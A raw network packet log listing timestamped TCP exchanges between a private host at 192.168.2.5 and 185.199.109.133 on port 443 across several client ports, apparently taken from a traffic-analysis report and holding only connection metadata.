Sep 16, 2024 19:24:34.061297894 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061312914 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061331034 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061337948 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061364889 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061378956 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061398029 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061428070 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061440945 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061453104 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061460972 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061482906 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061508894 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061516047 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061552048 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061553001 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061577082 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061602116 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061609983 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061635971 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061645031 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061666965 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061691999 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061698914 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061723948 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061741114 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061760902 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061795950 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061803102 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061820030 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061829090 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061849117 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061875105 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061882019 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061907053 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061919928 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061939001 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061968088 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061975002 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.061991930 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.061995029 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062019110 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062052011 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062058926 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062074900 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062083960 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062103987 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062133074 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062139988 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062150955 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062166929 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062187910 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062213898 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062230110 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062242985 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062256098 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062274933 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062304974 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062311888 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062336922 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062345028 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062366962 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062391996 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062398911 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062411070 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062460899 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062479973 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062509060 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062516928 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062530994 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062547922 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062570095 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062598944 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062608004 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062621117 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062628984 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062649965 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062679052 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062685966 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062701941 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062724113 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062745094 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062769890 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062777996 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062799931 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062813997 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062833071 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062865019 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062872887 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062899113 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062905073 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062927008 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062962055 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.062968969 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062992096 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.062994957 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063015938 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063045979 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063054085 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063070059 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063086987 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063108921 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063146114 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063153028 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063163996 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063180923 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063199997 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063235998 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063242912 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063260078 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063265085 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063287973 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063359022 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063361883 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063378096 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063410044 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063412905 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063427925 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063435078 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063460112 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063483000 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063498020 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063519001 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063544035 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063550949 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063575029 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063590050 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063594103 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063602924 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063630104 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063636065 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063663960 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063671112 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063699007 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063705921 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063723087 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063729048 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063741922 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063762903 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063795090 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063807964 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063829899 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063859940 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063867092 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063891888 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063898087 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063914061 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063920975 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063935995 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063946962 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063972950 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.063978910 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.063996077 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064012051 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064030886 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064033031 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064044952 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064063072 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064094067 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064112902 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064133883 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064162016 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064167976 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064181089 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064198971 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064201117 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064213037 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064234972 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064245939 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064282894 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064289093 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064301014 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064318895 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064325094 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064361095 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064367056 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064404964 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064440012 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064459085 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064490080 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064496994 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064512014 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064519882 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064529896 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064536095 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064552069 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064563990 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064596891 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064604044 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064618111 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064636946 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064641953 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064652920 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064667940 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064704895 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064721107 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064742088 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064771891 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064779043 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064800978 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064822912 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064824104 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064836025 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064872026 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064872980 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064884901 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064919949 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.064949989 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.064969063 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065000057 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065006971 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065026045 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065036058 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065042019 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065054893 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065085888 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065099001 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065135956 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065136909 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065150976 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065170050 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065190077 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065197945 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065211058 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065234900 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065237045 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065251112 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065274000 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065290928 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065298080 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065320969 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065351963 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065371037 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065401077 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.065409899 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.065442085 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.067002058 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.067063093 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.067084074 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.067128897 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.070578098 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.070664883 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.107407093 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.107484102 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.110287905 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.110366106 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.271445990 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.271840096 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.279392958 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.279498100 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.319405079 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.323113918 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.683435917 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.683505058 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.719409943 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.723124027 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.747411966 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.751020908 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:34.939409971 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:34.939497948 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:35.515443087 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:35.515530109 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:35.547410011 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:35.547574043 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:35.579417944 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:35.579469919 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:35.867959023 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:35.868000031 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.607405901 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.607522964 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.664426088 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.664433956 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664447069 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664454937 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664561033 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.664561033 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.664566994 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664577007 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664593935 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664660931 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.664660931 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.664666891 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664678097 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664694071 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664798975 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.664803028 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664814949 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664843082 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664845943 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664911985 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.664916039 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.664933920 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.665008068 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.665023088 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:36.871412039 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:36.871745110 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:37.179416895 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:37.179486036 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:37.211406946 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:37.211532116 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:37.247412920 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:37.247468948 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:37.311413050 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:37.311517954 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.143433094 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.143527985 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.261818886 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.261835098 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.261903048 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.281824112 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.281831980 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.281841040 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.281899929 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.281903982 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.281913042 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.281980038 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.281984091 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.281994104 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.281997919 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.282018900 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.282021999 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.282123089 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.282128096 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.282150030 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.282152891 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.282372952 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.282377958 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.282392979 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.282423973 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.282474041 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.282604933 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:38.491408110 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:38.491463900 CEST	51649	443	192.168.2.5	185.199.109.133
